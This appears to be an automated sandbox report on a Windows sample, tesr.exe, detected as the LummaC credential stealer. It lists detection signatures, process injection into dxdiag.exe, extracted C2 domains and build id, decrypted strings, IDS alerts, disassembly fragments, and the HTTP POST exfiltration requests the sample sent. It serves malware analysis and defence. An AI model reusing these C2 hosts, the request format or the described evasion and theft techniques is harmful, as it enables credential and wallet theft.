Edit tour

Windows Analysis Report
tesr.exe

Overview

General Information

Sample name:	tesr.exe
Analysis ID:	1589840
MD5:	4f96b4d0061d45b08d73e3526d82630f
SHA1:	15d6d2445d55db393adf30f0bf7f4b649c098257
SHA256:	30bc5b4729f0ae6ea5e1eb44654e739040f29941b5e6d2436b10ae93a98e5e6b
Tags:	exeghd78sgithubuser-JAMESWT_MHT
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

tesr.exe (PID: 2380 cmdline: "C:\Users\user\Desktop\tesr.exe" MD5: 4F96B4D0061D45B08D73E3526D82630F)

dxdiag.exe (PID: 5392 cmdline: "C:\Windows\SysWOW64\dxdiag.exe" MD5: 24D3F0DB6CCF0C341EA4F6B206DF2EDF)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["formy-spill.biz", "dare-curbys.biz", "covery-mover.biz", "mutterunurse.click", "zinc-sneark.biz", "se-blurry.biz", "impend-differ.biz", "dwell-exclaim.biz", "print-vexer.biz"], "Build id": "xMnLq7--RLC"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000002.00000003.2241070978.0000000002C45000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: dxdiag.exe PID: 5392	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: dxdiag.exe PID: 5392	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: dxdiag.exe PID: 5392	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T08:34:24.941198+0100	2028371	3	Unknown Traffic	192.168.2.5	49720	104.21.90.18	443	TCP
2025-01-13T08:34:26.202678+0100	2028371	3	Unknown Traffic	192.168.2.5	49722	104.21.90.18	443	TCP
2025-01-13T08:34:27.447402+0100	2028371	3	Unknown Traffic	192.168.2.5	49723	104.21.90.18	443	TCP
2025-01-13T08:34:29.402372+0100	2028371	3	Unknown Traffic	192.168.2.5	49725	104.21.90.18	443	TCP
2025-01-13T08:34:30.626463+0100	2028371	3	Unknown Traffic	192.168.2.5	49731	104.21.90.18	443	TCP
2025-01-13T08:34:32.081543+0100	2028371	3	Unknown Traffic	192.168.2.5	49742	104.21.90.18	443	TCP
2025-01-13T08:34:33.660210+0100	2028371	3	Unknown Traffic	192.168.2.5	49753	104.21.90.18	443	TCP
2025-01-13T08:34:35.821669+0100	2028371	3	Unknown Traffic	192.168.2.5	49770	104.21.90.18	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T08:34:25.476622+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49720	104.21.90.18	443	TCP
2025-01-13T08:34:26.690310+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49722	104.21.90.18	443	TCP
2025-01-13T08:34:36.285586+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49770	104.21.90.18	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T08:34:25.476622+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49720	104.21.90.18	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T08:34:26.690310+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49722	104.21.90.18	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T08:34:28.392365+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49723	104.21.90.18	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T08:34:33.702654+0100	2843864	1	A Network Trojan was detected	192.168.2.5	49753	104.21.90.18	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000002.2169044015.000002C3E79D1000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["formy-spill.biz", "dare-curbys.biz", "covery-mover.biz", "mutterunurse.click", "zinc-sneark.biz", "se-blurry.biz", "impend-differ.biz", "dwell-exclaim.biz", "print-vexer.biz"], "Build id": "xMnLq7--RLC"}

Multi AV Scanner detection for submitted file

Source: tesr.exe	Virustotal: Detection: 35%			Perma Link
Source: tesr.exe	ReversingLabs: Detection: 28%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.4% probability

Machine Learning detection for sample

Source: tesr.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2169044015.000002C3E79D1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: impend-differ.biz
Source: 00000000.00000002.2169044015.000002C3E79D1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: print-vexer.biz
Source: 00000000.00000002.2169044015.000002C3E79D1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: dare-curbys.biz
Source: 00000000.00000002.2169044015.000002C3E79D1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: covery-mover.biz
Source: 00000000.00000002.2169044015.000002C3E79D1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: formy-spill.biz
Source: 00000000.00000002.2169044015.000002C3E79D1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: dwell-exclaim.biz
Source: 00000000.00000002.2169044015.000002C3E79D1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: zinc-sneark.biz
Source: 00000000.00000002.2169044015.000002C3E79D1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: se-blurry.biz
Source: 00000000.00000002.2169044015.000002C3E79D1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: mutterunurse.click
Source: 00000000.00000002.2169044015.000002C3E79D1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2169044015.000002C3E79D1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2169044015.000002C3E79D1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2169044015.000002C3E79D1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2169044015.000002C3E79D1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2169044015.000002C3E79D1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: xMnLq7--RLC

Source: C:\Windows\SysWOW64\dxdiag.exe

Code function: 2_2_00416B7E CryptUnprotectData,

2_2_00416B7E

Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49770 version: TLS 1.2

Source: tesr.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+05h]	2_2_0040A960
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+79314A46h]	2_2_00426170
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then push eax	2_2_0040C36E
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	2_2_0043DBD0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov edx, ecx	2_2_00409CC0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 29DF508Eh	2_2_0043DCF0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov byte ptr [edx], bl	2_2_0040CE55
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+36A27D27h]	2_2_0042C6D7
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov byte ptr [esi], al	2_2_0042C6D7
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+07540F19h]	2_2_0042C6D7
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+07540F19h]	2_2_0042C6D7
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov word ptr [eax], dx	2_2_00417E82
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 299A4ECDh	2_2_0043E690
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-51BA460Ah]	2_2_0042BFD3
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-51BA460Ah]	2_2_0042BFDA
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	2_2_0042A060
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-0BF7BDDDh]	2_2_00425F7D
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov edx, ecx	2_2_0041D074
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov edx, ecx	2_2_0041D087
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov byte ptr [esi], cl	2_2_0042D085
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov byte ptr [esi], cl	2_2_0042D085
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	2_2_0041597D
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	2_2_00416E97
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov edi, eax	2_2_00416E97
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov ebx, eax	2_2_00405910
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov ebp, eax	2_2_00405910
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], B430E561h	2_2_00425920
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_004286F0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	2_2_00417190
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov ecx, eax	2_2_00422270
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov byte ptr [edi+ebx], 00000000h	2_2_0040C274
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov eax, dword ptr [00444284h]	2_2_00425230
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	2_2_0043CAC0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+1Ch]	2_2_004292D0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov edx, ebx	2_2_004292D0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	2_2_0042AAD0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov byte ptr [eax], cl	2_2_00415ADC
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx ebx, bx	2_2_0042536C
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi]	2_2_00402B70
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov word ptr [ecx], dx	2_2_00427307
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx ebp, word ptr [ecx+ebx*2]	2_2_00436B20
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	2_2_0043CBD6
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	2_2_00407470
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	2_2_00407470
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then jmp eax	2_2_0042B475
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B430E561h	2_2_00419C10
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	2_2_0043CCE0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov byte ptr [ebx], al	2_2_0042B4BB
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	2_2_0043CD60
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	2_2_004345F0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+2Ch]	2_2_00427653
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	2_2_0043CE00
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	2_2_0042A630
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-41h]	2_2_004296D8
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx edi, byte ptr [esi+ecx-000000BCh]	2_2_00415EE0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00421EE0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp al, 2Eh	2_2_004266E7
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_004286F0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	2_2_00416E97
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov edi, eax	2_2_00416E97
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp word ptr [ebp+edx+02h], 0000h	2_2_0041CEA5
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then add ebx, 03h	2_2_00428F5D
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-0BF7BDDDh]	2_2_00425F7D
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [ecx+edx*8], B430E561h	2_2_00414F08
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov ecx, edx	2_2_00414F08
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00420717
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then mov word ptr [ecx], dx	2_2_00420717
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 2298EE00h	2_2_0043DFB0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49722 -> 104.21.90.18:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49722 -> 104.21.90.18:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49720 -> 104.21.90.18:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49720 -> 104.21.90.18:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49753 -> 104.21.90.18:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49770 -> 104.21.90.18:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49723 -> 104.21.90.18:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: formy-spill.biz
Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: mutterunurse.click
Source: Malware configuration extractor	URLs: zinc-sneark.biz
Source: Malware configuration extractor	URLs: se-blurry.biz
Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	URLs: print-vexer.biz

Source: global traffic

TCP traffic: 192.168.2.5:49373 -> 1.1.1.1:53

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49742 -> 104.21.90.18:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49722 -> 104.21.90.18:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49723 -> 104.21.90.18:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49731 -> 104.21.90.18:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49753 -> 104.21.90.18:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49770 -> 104.21.90.18:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49720 -> 104.21.90.18:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49725 -> 104.21.90.18:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mutterunurse.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 45Host: mutterunurse.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=BDLB8W6B9SBZAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12803Host: mutterunurse.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=2FNUTFDGJXUM0GLQYUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15069Host: mutterunurse.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=9XHRDZBQH6NW90GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20547Host: mutterunurse.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=5NB1T9VDRO9LGUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1231Host: mutterunurse.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=J9WN8UYPFXGQ22X3TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 584195Host: mutterunurse.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 80Host: mutterunurse.click

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: mutterunurse.click

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mutterunurse.click

Source: dxdiag.exe, 00000002.00000003.2225256167.000000000509D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: dxdiag.exe, 00000002.00000003.2225256167.000000000509D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: dxdiag.exe, 00000002.00000003.2225256167.000000000509D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: dxdiag.exe, 00000002.00000003.2225256167.000000000509D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: dxdiag.exe, 00000002.00000003.2225256167.000000000509D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: dxdiag.exe, 00000002.00000003.2225256167.000000000509D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: dxdiag.exe, 00000002.00000003.2225256167.000000000509D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: dxdiag.exe, 00000002.00000003.2225256167.000000000509D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: dxdiag.exe, 00000002.00000003.2225256167.000000000509D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: dxdiag.exe, 00000002.00000003.2225256167.000000000509D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: dxdiag.exe, 00000002.00000003.2225256167.000000000509D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: dxdiag.exe, 00000002.00000003.2193810951.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193668660.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193589244.0000000004FCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: dxdiag.exe, 00000002.00000003.2226701499.000000000500E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: dxdiag.exe, 00000002.00000003.2226701499.000000000500E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: dxdiag.exe, 00000002.00000003.2193810951.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193668660.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193589244.0000000004FCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: dxdiag.exe, 00000002.00000003.2193810951.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193668660.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193589244.0000000004FCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: dxdiag.exe, 00000002.00000003.2193810951.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193668660.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193589244.0000000004FCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: dxdiag.exe, 00000002.00000003.2226701499.000000000500E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: dxdiag.exe, 00000002.00000003.2226701499.000000000500E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
